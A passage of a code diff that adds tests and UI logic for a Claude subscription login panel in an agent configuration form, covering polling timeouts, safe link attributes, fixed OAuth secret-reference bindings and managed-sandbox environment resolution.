+      mockEnvironmentsApi.list.mockResolvedValue([
+        makeEnvironment({ id: "local-1", name: "Local", driver: "local" }),
+        makeEnvironment({
+          id: "sandbox-1",
+          name: "Daytona",
+          driver: "sandbox",
+          config: { provider: "daytona" },
+        }),
+      ]);
+
+      const container = document.createElement("div");
+      document.body.appendChild(container);
+      const root = createRoot(container);
+      roots.push(root);
+      const queryClient = new QueryClient({
+        defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
+      });
+      await act(async () => {
+        root.render(
+          <QueryClientProvider client={queryClient}>
+            <ToastProvider>
+              <TooltipProvider>
+                <AgentConfigForm
+                  mode="edit"
+                  agent={makeAgent({
+                    adapterType: "claude_local",
+                    defaultEnvironmentId: "sandbox-1",
+                  })}
+                  onSave={vi.fn()}
+                  hidePromptTemplate
+                  showAdapterTypeField={false}
+                  showAdapterTestEnvironmentButton
+                />
+              </TooltipProvider>
+            </ToastProvider>
+          </QueryClientProvider>,
+        );
+      });
+      await flushFake();
+
+      await clickFake(container, "Test");
+      await clickFake(container, "Log in");
+
+      // The login is active: both polls have run at least once.
+      const statusCallsAtStart = mockAgentsApi.getClaudeSetupTokenLoginStatus.mock.calls.length;
+      const promptCallsAtStart = mockAgentsApi.getClaudeSetupTokenLoginPrompt.mock.calls.length;
+      expect(statusCallsAtStart).toBeGreaterThanOrEqual(1);
+      expect(promptCallsAtStart).toBeGreaterThanOrEqual(1);
+
+      // Advance six seconds: both polls run again, so polling is active. The panel
+      // has not timed out yet.
+      await advanceFake(6_000);
+      expect(mockAgentsApi.getClaudeSetupTokenLoginStatus.mock.calls.length).toBeGreaterThan(
+        statusCallsAtStart,
+      );
+      expect(mockAgentsApi.getClaudeSetupTokenLoginPrompt.mock.calls.length).toBeGreaterThan(
+        promptCallsAtStart,
+      );
+      expect(container.textContent).not.toContain("The login timed out");
+
+      // Advance past the old fixed sixty-second cutoff. The panel does NOT time
+      // out now, because the cutoff comes from the server `expiresAt`, which is
+      // far longer than sixty seconds. This proves the fixed 60-second cap is
+      // gone.
+      await advanceFake(60_000);
+      expect(container.textContent).not.toContain("The login timed out");
+
+      // Advance past the server deadline. The panel enters the timed-out state.
+      // Total elapsed after this step is 1 second past `serverDeadlineMs`.
+      await advanceFake(serverDeadlineMs - 66_000 + 1_000);
+      expect(container.textContent).toContain("The login timed out");
+      // The panel released the server session when the cutoff fired. The cancel
+      // frees the per-owner reservation now, so an immediate retry by the same
+      // owner starts a new session and does not hit the "too many active
+      // sessions" cap.
+      expect(mockAgentsApi.cancelClaudeSetupTokenLogin).toHaveBeenCalledWith(
+        "company-1",
+        "claude-session-1",
+      );
+      // The Log in button is available again, and the Cancel button is gone.
+      expect(findButton(container, "Log in")?.disabled).toBe(false);
+      expect(findButton(container, "Cancel")).toBeFalsy();
+
+      // Both polls stopped. A further ten seconds adds no new poll call.
+      const statusCallsAtTimeout = mockAgentsApi.getClaudeSetupTokenLoginStatus.mock.calls.length;
+      const promptCallsAtTimeout = mockAgentsApi.getClaudeSetupTokenLoginPrompt.mock.calls.length;
+      await advanceFake(10_000);
+      expect(mockAgentsApi.getClaudeSetupTokenLoginStatus.mock.calls.length).toBe(
+        statusCallsAtTimeout,
+      );
+      expect(mockAgentsApi.getClaudeSetupTokenLoginPrompt.mock.calls.length).toBe(
+        promptCallsAtTimeout,
+      );
+    } finally {
+      vi.useRealTimers();
+    }
+  });
+
+  it("opens the authorization URL in a new tab with a safe rel", async () => {
+    mockAgentsApi.testEnvironment.mockResolvedValue(CLAUDE_AUTH_MISSING_RESULT);
+    const result = await renderClaudeSandbox();
+    roots.push(result.root);
+
+    await runTest(result.container);
+    await startLogin(result.container);
+    await flushUntil(() =>
+      Boolean(
+        result.container.querySelector('a[href="https://claude.example.test/authorize"]'),
+      ),
+    );
+
+    const link = result.container.querySelector(
+      'a[href="https://claude.example.test/authorize"]',
+    );
+    expect(link).toBeTruthy();
+    expect(link?.getAttribute("target")).toBe("_blank");
+    expect(link?.getAttribute("rel")).toBe("noreferrer noopener");
+  });
+
+  it("never renders the OAuth token in the Document Object Model", async () => {
+    mockAgentsApi.testEnvironment.mockResolvedValue(CLAUDE_AUTH_MISSING_RESULT);
+    // The mocks add a token field that the real response never carries. The
+    // panel must render neither the token nor any other unknown response field.
+    mockAgentsApi.getClaudeSetupTokenLoginStatus.mockResolvedValue({
+      sessionId: "claude-session-1",
+      environmentId: "sandbox-1",
+      status: "authenticated",
+      expiresAt: null,
+      failure: null,
+      oauthToken: "sk-ant-SECRET-TOKEN",
+    });
+    mockAgentsApi.completeClaudeSetupTokenLogin.mockResolvedValue({
+      storedSessionId: "stored-session-1",
+      oauthToken: "sk-ant-SECRET-TOKEN",
+    });
+    const result = await renderClaudeSandbox();
+    roots.push(result.root);
+
+    await runTest(result.container);
+    await startLogin(result.container);
+    await flushUntil(() => (result.container.textContent ?? "").includes("Authenticated"));
+
+    expect(result.container.textContent).toContain("Authenticated");
+    expect(result.container.textContent).not.toContain("sk-ant-SECRET-TOKEN");
+  });
+});
+
+const FIXED_CLAUDE_OAUTH_BINDING = {
+  type: "user_secret_ref",
+  key: "CLAUDE_CODE_OAUTH_TOKEN",
+  version: "latest",
+  required: true,
+};
+
+// Read the merged create-mode values after one or more onChange patches. The
+// create form emits a partial patch, so later assertions merge every patch onto
+// the seed values, the same way the parent page keeps the controlled state.
+function mergedCreateValues(
+  seed: Record<string, unknown>,
+  onChange: ReturnType<typeof vi.fn>,
+): Record<string, unknown> {
+  return onChange.mock.calls.reduce(
+    (acc, [patch]) => ({ ...acc, ...(patch as Record<string, unknown>) }),
+    { ...seed },
+  );
+}
+
+describe("AgentConfigForm create-mode Claude OAuth binding", () => {
+  let roots: Root[] = [];
+
+  beforeEach(() => {
+    mockAgentsApi.adapterModelProfiles.mockResolvedValue([]);
+    mockAgentsApi.adapterModels.mockResolvedValue([]);
+    mockAgentsApi.detectModel.mockResolvedValue(null);
+    mockAgentsApi.list.mockResolvedValue([]);
+    mockInstanceSettingsApi.get.mockResolvedValue({ defaultEnvironmentId: null });
+    mockInstanceSettingsApi.getExperimental.mockResolvedValue({ enableEnvironments: true });
+    mockInstanceSettingsApi.getGeneral.mockResolvedValue({ executionMode: "any" });
+    mockEnvironmentsApi.capabilities.mockResolvedValue(SANDBOX_CAPABILITIES);
+    mockSecretsApi.list.mockResolvedValue([]);
+    mockSecretsApi.listProposals.mockResolvedValue([]);
+    mockAgentsApi.testEnvironment.mockResolvedValue(CLAUDE_AUTH_MISSING_RESULT);
+    mockAgentsApi.startClaudeSetupTokenLogin.mockResolvedValue({
+      sessionId: "claude-session-1",
+      environmentId: "sandbox-1",
+      status: "starting",
+      expiresAt: null,
+      failure: null,
+      panelMode: "submitted_browser_code",
+      prompt: null,
+    });
+    mockAgentsApi.getClaudeSetupTokenLoginStatus.mockResolvedValue({
+      sessionId: "claude-session-1",
+      environmentId: "sandbox-1",
+      status: "authenticated",
+      expiresAt: null,
+      failure: null,
+    });
+    mockAgentsApi.getClaudeSetupTokenLoginPrompt.mockResolvedValue({
+      authorizationUrl: "https://claude.example.test/authorize",
+    });
+    mockAgentsApi.completeClaudeSetupTokenLogin.mockResolvedValue({
+      storedSessionId: "stored-session-1",
+    });
+    mockAgentsApi.cancelClaudeSetupTokenLogin.mockResolvedValue(undefined);
+    // Default: the owner has no stored Claude login. A test that needs a stored
+    // value overrides this with a status body.
+    mockAgentsApi.getClaudeOAuthTokenStatus.mockResolvedValue(null);
+  });
+
+  afterEach(async () => {
+    for (const root of roots) {
+      await act(async () => {
+        root.unmount();
+      });
+    }
+    roots = [];
+    document.body.innerHTML = "";
+    vi.clearAllMocks();
+  });
+
+  it("adds the fixed CLAUDE_CODE_OAUTH_TOKEN binding after the server stored state", async () => {
+    const result = await renderCreateClaudeSandbox();
+    roots.push(result.root);
+
+    await runTest(result.container);
+    await startLogin(result.container);
+    await flushUntil(() =>
+      result.onChange.mock.calls.some(
+        ([patch]) => (patch as Record<string, unknown>).claudeStoredSessionId,
+      ),
+    );
+
+    const values = mergedCreateValues(
+      { adapterType: "claude_local", defaultEnvironmentId: "sandbox-1", envBindings: {} },
+      result.onChange,
+    );
+    expect(values.claudeStoredSessionId).toBe("stored-session-1");
+    const bindings = values.envBindings as Record<string, unknown>;
+    expect(bindings.CLAUDE_CODE_OAUTH_TOKEN).toEqual(FIXED_CLAUDE_OAUTH_BINDING);
+  });
+
+  it("preserves unrelated environment bindings when it adds the fixed binding", async () => {
+    const seedBindings = { EXISTING_VAR: { type: "plain", value: "keep-me" } };
+    const result = await renderCreateClaudeSandbox({ envBindings: seedBindings });
+    roots.push(result.root);
+
+    await runTest(result.container);
+    await startLogin(result.container);
+    await flushUntil(() =>
+      result.onChange.mock.calls.some(
+        ([patch]) => (patch as Record<string, unknown>).claudeStoredSessionId,
+      ),
+    );
+
+    const values = mergedCreateValues(
+      { adapterType: "claude_local", envBindings: seedBindings },
+      result.onChange,
+    );
+    const bindings = values.envBindings as Record<string, unknown>;
+    expect(bindings.EXISTING_VAR).toEqual({ type: "plain", value: "keep-me" });
+    expect(bindings.CLAUDE_CODE_OAUTH_TOKEN).toEqual(FIXED_CLAUDE_OAUTH_BINDING);
+  });
+
+  it("never puts a token value in the fixed binding", async () => {
+    const result = await renderCreateClaudeSandbox();
+    roots.push(result.root);
+
+    await runTest(result.container);
+    await startLogin(result.container);
+    await flushUntil(() =>
+      result.onChange.mock.calls.some(
+        ([patch]) => (patch as Record<string, unknown>).claudeStoredSessionId,
+      ),
+    );
+
+    const values = mergedCreateValues(
+      { adapterType: "claude_local", envBindings: {} },
+      result.onChange,
+    );
+    const bindings = values.envBindings as Record<string, Record<string, unknown>>;
+    // The fixed binding is a reference. It carries no `value` field, so the
+    // adapter config never holds the token value.
+    expect(bindings.CLAUDE_CODE_OAUTH_TOKEN.type).toBe("user_secret_ref");
+    expect(bindings.CLAUDE_CODE_OAUTH_TOKEN).not.toHaveProperty("value");
+    expect(JSON.stringify(values.envBindings)).not.toContain("sk-ant");
+  });
+
+  it("returns to the login start state when the server claim write fails", async () => {
+    mockAgentsApi.completeClaudeSetupTokenLogin.mockRejectedValue(
+      new Error("the provider rejected the stored-session claim"),
+    );
+    const result = await renderCreateClaudeSandbox();
+    roots.push(result.root);
+
+    await runTest(result.container);
+    await startLogin(result.container);
+    await flushUntil(() =>
+      (result.container.textContent ?? "").includes("The login did not finish"),
+    );
+
+    // The panel shows a fixed, non-secret message and returns to its start state.
+    expect(result.container.textContent).toContain("The login did not finish");
+    expect(findButton(result.container, "Log in")?.disabled).toBe(false);
+    expect(result.container.textContent).not.toContain(
+      "the provider rejected the stored-session claim",
+    );
+    // A failed claim adds no binding and holds no claim.
+    expect(
+      result.onChange.mock.calls.some(
+        ([patch]) => (patch as Record<string, unknown>).claudeStoredSessionId,
+      ),
+    ).toBe(false);
+  });
+
+});
+
+// Render the edit-mode form for an existing Claude agent in a sandbox
+// environment. The helper returns the `onSave` spy so a test can read the patch
+// that a stored login sends to the agent-update path.
+async function renderEditClaudeSandbox(agentOverrides: Partial<Agent> = {}) {
+  mockEnvironmentsApi.list.mockResolvedValue([
+    makeEnvironment({ id: "local-1", name: "Local", driver: "local" }),
+    makeEnvironment({
+      id: "sandbox-1",
+      name: "Daytona",
+      driver: "sandbox",
+      config: { provider: "daytona" },
+    }),
+  ]);
+
+  const container = document.createElement("div");
+  document.body.appendChild(container);
+  const root = createRoot(container);
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
+  });
+  const onSave = vi.fn().mockResolvedValue(undefined);
+
+  await act(async () => {
+    root.render(
+      <QueryClientProvider client={queryClient}>
+        <ToastProvider>
+          <TooltipProvider>
+            <AgentConfigForm
+              mode="edit"
+              agent={makeAgent({
+                adapterType: "claude_local",
+                defaultEnvironmentId: "sandbox-1",
+                ...agentOverrides,
+              })}
+              onSave={onSave}
+              hidePromptTemplate
+              showAdapterTypeField={false}
+              showAdapterTestEnvironmentButton
+            />
+          </TooltipProvider>
+        </ToastProvider>
+      </QueryClientProvider>,
+    );
+  });
+
+  await flushReact();
+  return { container, root, onSave };
+}
+
+describe("AgentConfigForm edit-mode Claude OAuth binding", () => {
+  let roots: Root[] = [];
+
+  beforeEach(() => {
+    mockAgentsApi.adapterModelProfiles.mockResolvedValue([]);
+    mockAgentsApi.adapterModels.mockResolvedValue([]);
+    mockAgentsApi.detectModel.mockResolvedValue(null);
+    mockAgentsApi.list.mockResolvedValue([]);
+    mockInstanceSettingsApi.get.mockResolvedValue({ defaultEnvironmentId: null });
+    mockInstanceSettingsApi.getExperimental.mockResolvedValue({ enableEnvironments: true });
+    mockInstanceSettingsApi.getGeneral.mockResolvedValue({ executionMode: "any" });
+    mockEnvironmentsApi.capabilities.mockResolvedValue(SANDBOX_CAPABILITIES);
+    mockSecretsApi.list.mockResolvedValue([]);
+    mockSecretsApi.listProposals.mockResolvedValue([]);
+    mockAgentsApi.testEnvironment.mockResolvedValue(CLAUDE_AUTH_MISSING_RESULT);
+    mockAgentsApi.startClaudeSetupTokenLogin.mockResolvedValue({
+      sessionId: "claude-session-1",
+      environmentId: "sandbox-1",
+      status: "starting",
+      expiresAt: null,
+      failure: null,
+      panelMode: "submitted_browser_code",
+      prompt: null,
+    });
+    mockAgentsApi.getClaudeSetupTokenLoginStatus.mockResolvedValue({
+      sessionId: "claude-session-1",
+      environmentId: "sandbox-1",
+      status: "authenticated",
+      expiresAt: null,
+      failure: null,
+    });
+    mockAgentsApi.getClaudeSetupTokenLoginPrompt.mockResolvedValue({
+      authorizationUrl: "https://claude.example.test/authorize",
+    });
+    mockAgentsApi.completeClaudeSetupTokenLogin.mockResolvedValue({
+      storedSessionId: "stored-session-1",
+    });
+    mockAgentsApi.cancelClaudeSetupTokenLogin.mockResolvedValue(undefined);
+    // Default: the owner has no stored Claude login. A test that needs a stored
+    // value overrides this with a status body.
+    mockAgentsApi.getClaudeOAuthTokenStatus.mockResolvedValue(null);
+  });
+
+  afterEach(async () => {
+    for (const root of roots) {
+      await act(async () => {
+        root.unmount();
+      });
+    }
+    roots = [];
+    document.body.innerHTML = "";
+    vi.clearAllMocks();
+  });
+
+  it("adds the fixed CLAUDE_CODE_OAUTH_TOKEN binding to the agent and persists it", async () => {
+    const result = await renderEditClaudeSandbox();
+    roots.push(result.root);
+
+    await runTest(result.container);
+    await startLogin(result.container);
+    await flushUntil(() => result.onSave.mock.calls.length > 0);
+
+    // A stored login sends one agent-update patch. The patch replaces the adapter
+    // config, and its env holds the fixed binding, so the agent keeps the binding
+    // without a manual step.
+    const patch = result.onSave.mock.calls.at(-1)![0] as Record<string, unknown>;
+    expect(patch.replaceAdapterConfig).toBe(true);
+    const adapterConfig = patch.adapterConfig as Record<string, unknown>;
+    const bindings = adapterConfig.env as Record<string, unknown>;
+    expect(bindings.CLAUDE_CODE_OAUTH_TOKEN).toEqual(FIXED_CLAUDE_OAUTH_BINDING);
+    // The persisted patch never carries a token value.
+    expect(JSON.stringify(adapterConfig.env)).not.toContain("sk-ant");
+    // An update can never consume the fresh login's stored-session claim -- only
+    // create and hire can, per `enforceClaudeOAuthBindingClaim`. So a save that
+    // introduces the binding through an update must set `applyStoredClaudeLogin`,
+    // or the server rejects the patch with the fixed claim error even though the
+    // login already stored the token. Regression coverage for that gap.
+    expect(patch.applyStoredClaudeLogin).toBe(true);
+  });
+
+  it("keeps every unrelated existing binding when it adds the fixed binding", async () => {
+    const result = await renderEditClaudeSandbox({
+      adapterConfig: { env: { EXISTING_VAR: { type: "plain", value: "keep-me" } } },
+    });
+    roots.push(result.root);
+
+    await runTest(result.container);
+    await startLogin(result.container);
+    await flushUntil(() => result.onSave.mock.calls.length > 0);
+
+    const patch = result.onSave.mock.calls.at(-1)![0] as Record<string, unknown>;
+    const adapterConfig = patch.adapterConfig as Record<string, unknown>;
+    const bindings = adapterConfig.env as Record<string, unknown>;
+    expect(bindings.EXISTING_VAR).toEqual({ type: "plain", value: "keep-me" });
+    expect(bindings.CLAUDE_CODE_OAUTH_TOKEN).toEqual(FIXED_CLAUDE_OAUTH_BINDING);
+  });
+
 });
diff --git a/ui/src/components/AgentConfigForm.tsx b/ui/src/components/AgentConfigForm.tsx
index 3e5d771a7d6..496da7f9be5 100644
--- a/ui/src/components/AgentConfigForm.tsx
+++ b/ui/src/components/AgentConfigForm.tsx
@@ -10,9 +10,10 @@ import type {
   EnvSecretRefBinding,
   Environment,
 } from "@paperclipai/shared";
-import { AGENT_DEFAULT_MAX_CONCURRENT_RUNS, supportedEnvironmentDriversForAdapter } from "@paperclipai/shared";
+import { AGENT_DEFAULT_MAX_CONCURRENT_RUNS, supportedEnvironmentDriversForAdapter, isValidBrowserCode, ADAPTER_AUTH_MISSING_CHECK_CODE } from "@paperclipai/shared";
 import type { AdapterModel } from "../api/agents";
 import { agentsApi } from "../api/agents";
+import { ApiError } from "../api/client";
 import { environmentsApi } from "../api/environments";
 import { instanceSettingsApi } from "../api/instanceSettings";
 import { secretsApi } from "../api/secrets";
@@ -20,8 +21,8 @@ import { assetsApi } from "../api/assets";
 import { DEFAULT_CODEX_LOCAL_BYPASS_APPROVALS_AND_SANDBOX } from "@paperclipai/adapter-codex-local";
 import { DEFAULT_CURSOR_LOCAL_MODEL } from "@paperclipai/adapter-cursor-local";
 import { DEFAULT_GEMINI_LOCAL_MODEL } from "@paperclipai/adapter-gemini-local";
+import { DEFAULT_KIMI_LOCAL_MODEL } from "@paperclipai/adapter-kimi-local";
 import { DEFAULT_OPENCODE_LOCAL_MODEL } from "@paperclipai/adapter-opencode-local";
-import { ADAPTER_AUTH_MISSING_CHECK_CODE } from "@paperclipai/adapter-codex-local/ui";
 import {
   Popover,
   PopoverContent,
@@ -31,7 +32,12 @@ import { Button } from "@/components/ui/button";
 import { FolderOpen, Heart, ChevronDown, X, Copy, Check, ExternalLink, Loader2, TriangleAlert } from "lucide-react";
 import { asBoolean, asFiniteNumber, asObject, cn } from "../lib/utils";
 import { copyTextToClipboard } from "../lib/clipboard";
-import { resolveAdapterTestEnvironmentId } from "../lib/adapter-test-environment";
+import {
+  resolveAdapterTestEnvironmentId,
+  resolveLocalDefaultEnvironmentId,
+  resolveManagedSandboxEnvironmentId,
+} from "../lib/adapter-test-environment";
+import { environmentDisplayLabel } from "../lib/managed-sandbox-environment";
 import { extractModelName, extractProviderId } from "../lib/model-utils";
 import { queryKeys } from "../lib/queryKeys";
 import { useCompany } from "../context/CompanyContext";
@@ -57,6 +63,7 @@ import {
   EnvironmentVariablesEditor,
   type EnvironmentVariablesEditorHandle,
 } from "./environment-variables-editor";
+import { buildFixedClaudeOAuthBinding, CLAUDE_OAUTH_TOKEN_ENV_KEY } from "./environment-variables-editor/model";
 import { AgentSecretAccessEditor } from "./AgentSecretAccessEditor";
 import { useProposalReview } from "../pages/secrets/proposal-review";
 import { AGENT_ACCESS_CONFIG_PATH_PREFIX } from "../lib/secret-delivery";
@@ -199,6 +206,15 @@ const claudeThinkingEffortOptions = [
   { id: "high", label: "High" },
 ] as const;
 
+// Kimi exposes low/high/max (no "medium") via each model's support_efforts;
+// the kimi_local adapter maps a legacy "medium" onto "high" at runtime.
+const kimiThinkingEffortOptions = [
+  { id: "", label: "Auto" },
+  { id: "low", label: "Low" },
+  { id: "high", label: "High" },
+  { id: "max", label: "Max" },
+] as const;
+
 const MAX_TURN_CONTINUATION_DEFAULT_MAX_ATTEMPTS = 2;
 const MAX_TURN_CONTINUATION_MAX_ATTEMPTS_CAP = 10;
 const MAX_TURN_CONTINUATION_DEFAULT_DELAY_SEC = 1;
@@ -444,6 +460,108 @@ export function AgentConfigForm(props: AgentConfigFormProps) {
   const set = isCreate
     ? (patch: Partial<CreateConfigValues>) => props.onChange(patch)
     : null;
+
+  // Create mode holds the non-secret stored-session claim after a Claude
+  // subscription login reaches the server `stored` state. The claim marks the
+  // fixed `CLAUDE_CODE_OAUTH_TOKEN` binding as present. The form sends the claim
+  // in the create request; the server binds and enforces the token
+  // independently. The claim never carries a token value.
+  const claudeStoredSessionId = isCreate ? val!.claudeStoredSessionId ?? null : null;
+
+  // After a login binds CLAUDE_CODE_OAUTH_TOKEN, the user-secret-definitions list
+  // in the cache is stale. The form reads that list once at page load, so it does
+  // not contain the definition the login just bound. The bound row then compares
+  // its key against the stale list and shows a false "no longer exists" health
+  // error. Invalidate the list so the row reads the fresh definitions and clears
+  // the error.
+  const invalidateUserSecretDefinitions = () => {
+    if (!selectedCompanyId) return;
+    void queryClient.invalidateQueries({
+      queryKey: queryKeys.secrets.userDefinitions(selectedCompanyId),
+    });
+  };
+
+  // Add the fixed binding to the create-mode form state after the login stores.
+  // Keep every unrelated binding. Hold the claim so the create request sends it.
+  const handleClaudeLoginStored = (storedSessionId: string) => {
+    if (!isCreate || !set) return;
+    const existingBindings = (val!.envBindings ?? {}) as Record<string, EnvBinding>;
+    set({
+      envBindings: { ...existingBindings, ...buildFixedClaudeOAuthBinding() },
+      claudeStoredSessionId: storedSessionId,
+    });
+    invalidateUserSecretDefinitions();
+  };
+
+  // Edit mode: after a login stores the token, add the fixed binding to the
+  // existing agent and persist it at once. The server already stored the token;
+  // this step binds `CLAUDE_CODE_OAUTH_TOKEN` to the agent's environment through
+  // the normal agent-update patch path, so no manual bind step remains. Flush any
+  // pending editor draft first, keep every unrelated binding, and mark the merged
+  // set into the overlay so the editor and the saved patch agree.
+  //
+  // An update can never consume a fresh login's stored-session claim -- only the
+  // create and hire paths can, per `enforceClaudeOAuthBindingClaim`. So this save
+  // must set `applyStoredClaudeLogin`, the same way `handleApplyStoredClaudeLoginEdit`
+  // does, or the server rejects the patch with the fixed claim error even though
+  // the login already stored the token. Without the flag every fresh login on an
+  // existing agent's own page fails to save the binding.
+  const handleClaudeLoginStoredEdit = async () => {
+    if (isCreate) return;
+    const flushedEnv = flushEnvironmentDraft();
+    const baseEnv =
+      flushedEnv ??
+      (eff("adapterConfig", "env", (config.env ?? EMPTY_ENV) as Record<string, EnvBinding>));
+    const nextEnv = { ...baseEnv, ...buildFixedClaudeOAuthBinding() };
+    const nextOverlay: AgentConfigOverlay = {
+      ...overlay,
+      adapterConfig: { ...overlay.adapterConfig, env: nextEnv },
+    };
+    setOverlay(nextOverlay);
+    await props.onSave({
+      ...buildAgentUpdatePatch(props.agent, nextOverlay),
+      applyStoredClaudeLogin: true,
+    });
+    invalidateUserSecretDefinitions();
+  };
+
+  // Create mode: bind the fixed reference to an existing stored login with no new
+  // login round trip. Add the fixed binding and set the apply-existing flag. The
+  // create request sends the flag; the server binds the token only for a user
+  // actor and only when a stored value exists. Keep every unrelated binding.
+  const handleApplyStoredClaudeLogin = () => {
+    if (!isCreate || !set) return;
+    const existingBindings = (val!.envBindings ?? {}) as Record<string, EnvBinding>;
+    set({
+      envBindings: { ...existingBindings, ...buildFixedClaudeOAuthBinding() },
+      claudeApplyStoredLogin: true,
+    });
+    invalidateUserSecretDefinitions();
+  };
+
+  // Edit mode: bind the fixed reference to an existing stored login with no new
+  // login round trip, then persist it at once. Add the fixed binding to the
+  // existing agent and save the patch with the apply-existing flag. Flush any
+  // pending editor draft first and keep every unrelated binding.
+  const handleApplyStoredClaudeLoginEdit = async () => {
+    if (isCreate) return;
+    const flushedEnv = flushEnvironmentDraft();
+    const baseEnv =
+      flushedEnv ??
+      (eff("adapterConfig", "env", (config.env ?? EMPTY_ENV) as Record<string, EnvBinding>));
+    const nextEnv = { ...baseEnv, ...buildFixedClaudeOAuthBinding() };
+    const nextOverlay: AgentConfigOverlay = {
+      ...overlay,
+      adapterConfig: { ...overlay.adapterConfig, env: nextEnv },
+    };
+    setOverlay(nextOverlay);
+    await props.onSave({
+      ...buildAgentUpdatePatch(props.agent, nextOverlay),
+      applyStoredClaudeLogin: true,
+    });
+    invalidateUserSecretDefinitions();
+  };
+
   const rawCurrentDefaultEnvironmentId = isCreate
     ? val!.defaultEnvironmentId ?? ""
     : eff("identity", "defaultEnvironmentId", props.agent.defaultEnvironmentId ?? "");
@@ -468,21 +586,62 @@ export function AgentConfigForm(props: AgentConfigFormProps) {
   );
 
   // The environment a login session runs in. It mirrors the Test resolution: the
-  // agent's own environment wins, otherwise the instance default. The login
-  // affordance shows only when this environment is a sandbox, because the
-  // canonical auth-missing check comes only from a sandbox target.
-  const effectiveLoginEnvironmentId = useMemo(
-    () =>
-      resolveAdapterTestEnvironmentId({
+  // agent's own environment wins, otherwise the instance default, otherwise the
+  // local default. The login affordance shows only when this environment is a
+  // sandbox, because the canonical auth-missing check comes only from a sandbox
+  // target.
+  //
+  // The resolution passes the same managed-sandbox-only policy inputs as the
+  // adapter Test target, so both resolve to the same environment. Under the
+  // policy a resolution that lands on the local environment redirects to the
+  // managed sandbox the real run uses. Without the redirect the login target
+  // stays local while the Test and the real run use the managed sandbox, so the
+  // login affordance reads the wrong target. The resolver throws when the policy
+  // is on but no managed sandbox is available; a render must not throw, so this
+  // resolution catches that case and resolves no login environment. The Test
+  // mutation surfaces the same case as a fail-closed error.
+  const effectiveLoginEnvironmentId = useMemo(() => {
+    try {
+      return resolveAdapterTestEnvironmentId({
         agentDefaultEnvironmentId: rawCurrentDefaultEnvironmentId || null,
         instanceDefaultEnvironmentId: instanceSettings?.defaultEnvironmentId ?? null,
-      }),
-    [rawCurrentDefaultEnvironmentId, instanceSettings?.defaultEnvironmentId],
-  );
+        localDefaultEnvironmentId: resolveLocalDefaultEnvironmentId(environments),
+        managedSandboxOnly: experimentalSettings?.enableManagedSandboxOnly === true,
+        managedSandboxEnvironmentId: resolveManagedSandboxEnvironmentId(environments),
+        // The policy hides the local environment, so an agent default that still
+        // points at the hidden local row names no visible environment. Pass the
+        // visible ids so the resolver redirects that stale local default to the
+        // managed sandbox instead of the hidden local id.
+        visibleEnvironmentIds: environments.map((environment) => environment.id),
+      });
+    } catch {
+      return null;
+    }
+  }, [
+    rawCurrentDefaultEnvironmentId,
+    instanceSettings?.defaultEnvironmentId,
+    environments,
+    experimentalSettings?.enableManagedSandboxOnly,
+  ]);
   const effectiveLoginEnvironment = useMemo(
     () => environments.find((environment) => environment.id === effectiveLoginEnvironmentId) ?? null,
     [environments, effectiveLoginEnvironmentId],
   );
+  // Load the sandbox provider capabilities. A login that runs on a real
+  // pseudo-terminal needs a provider that advertises the login pseudo-terminal
+  // capability. The login panel gate reads this to hide the panel for a provider
+  // without the capability. Enable the query from the adapter login transport,
+  // not the adapter name: only a pseudo-terminal login consults this data. The
+  // gate is advisory; the server resolves the capability again and fails closed.
+  const { data: environmentCapabilities } = useQuery({
+    queryKey: selectedCompanyId
+      ? queryKeys.environments.capabilities(selectedCompanyId)
+      : ["environment-capabilities", "none"],
+    queryFn: () => environmentsApi.capabilities(selectedCompanyId!),
+    enabled:
+      Boolean(selectedCompanyId) &&
+      adapterCaps.login?.sandboxTransport === "pseudo_terminal",
+  });
 
   // When the instance forces Kubernetes execution, new agents must default to the
   // managed Kubernetes sandbox environment (never the implicit local default).
@@ -521,9 +680,9 @@ export function AgentConfigForm(props: AgentConfigFormProps) {
   );
   const managedSandboxOnly = experimentalSettings?.enableManagedSandboxOnly === true;
   const inheritedEnvironmentLabel = instanceDefaultEnvironment
-    ? `${instanceDefaultEnvironment.name} (${instanceDefaultEnvironment.driver})`
+    ? environmentDisplayLabel(instanceDefaultEnvironment)
     : managedSandboxOnly
-      ? "Managed sandbox"
+      ? "Paperclip Computer"
       : "Local";
 
   // Fetch adapter models for the effective adapter type
@@ -730,21 +889,57 @@ export function AgentConfigForm(props: AgentConfigFormProps) {
       // the exact false command-not-found failure this resolution exists to
       // fix. Agents with their own environment never need the settings.
       let settings = instanceSettings;
-      if (!rawCurrentDefaultEnvironmentId && settings === undefined) {
+      let environmentList = environments;
+      let managedSandboxOnly = experimentalSettings?.enableManagedSandboxOnly === true;
+      if (!rawCurrentDefaultEnvironmentId) {
+        // The agent has no own environment, so the Test resolves the instance
+        // default, the local default, or the managed sandbox. Resolve the
+        // settings, the environment list, and the managed-sandbox-only policy
+        // here, because the render-time queries can be unsettled, or the
+        // environments query can be disabled under the managed-sandbox-only
+        // policy. A failure surfaces an honest error, not a silent host probe
+        // that reports a false result.
         try {
-          settings = await queryClient.ensureQueryData({
-            queryKey: queryKeys.instance.settings,
-            queryFn: () => instanceSettingsApi.get(),
-          });
+          const [resolvedSettings, resolvedEnvironments, resolvedExperimental] =
+            await Promise.all([
+              queryClient.ensureQueryData({
+                queryKey: queryKeys.instance.settings,
+                queryFn: () => instanceSettingsApi.get(),
+              }),
+              queryClient.ensureQueryData({
+                queryKey: queryKeys.environments.list(selectedCompanyId),
+                queryFn: () => environmentsApi.list(selectedCompanyId),
+              }),
+              queryClient.ensureQueryData({
+                queryKey: queryKeys.instance.experimentalSettings,
+                queryFn: () => instanceSettingsApi.getExperimental(),
+              }),
+            ]);
+          settings = resolvedSettings;
+          environmentList = resolvedEnvironments;
+          managedSandboxOnly = resolvedExperimental?.enableManagedSandboxOnly === true;
         } catch {
           throw new Error(
-            "Could not load instance settings to determine which environment to test in. Retry the test.",
+            "Could not load environment settings to determine which environment to test in. Retry the test.",
           );
         }
       }
+      // Mirror the server run-time resolution, including the managed-sandbox-only
+      // redirect: when the resolution lands on the local environment and the
+      // policy is on, probe the managed sandbox the real run uses instead. The
+      // resolver throws when no managed sandbox is available, which the mutation
+      // surfaces as a fail-closed error rather than a local host probe.
       const environmentId = resolveAdapterTestEnvironmentId({
         agentDefaultEnvironmentId: rawCurrentDefaultEnvironmentId || null,
         instanceDefaultEnvironmentId: settings?.defaultEnvironmentId ?? null,
+        localDefaultEnvironmentId: resolveLocalDefaultEnvironmentId(environmentList),
+        managedSandboxOnly,
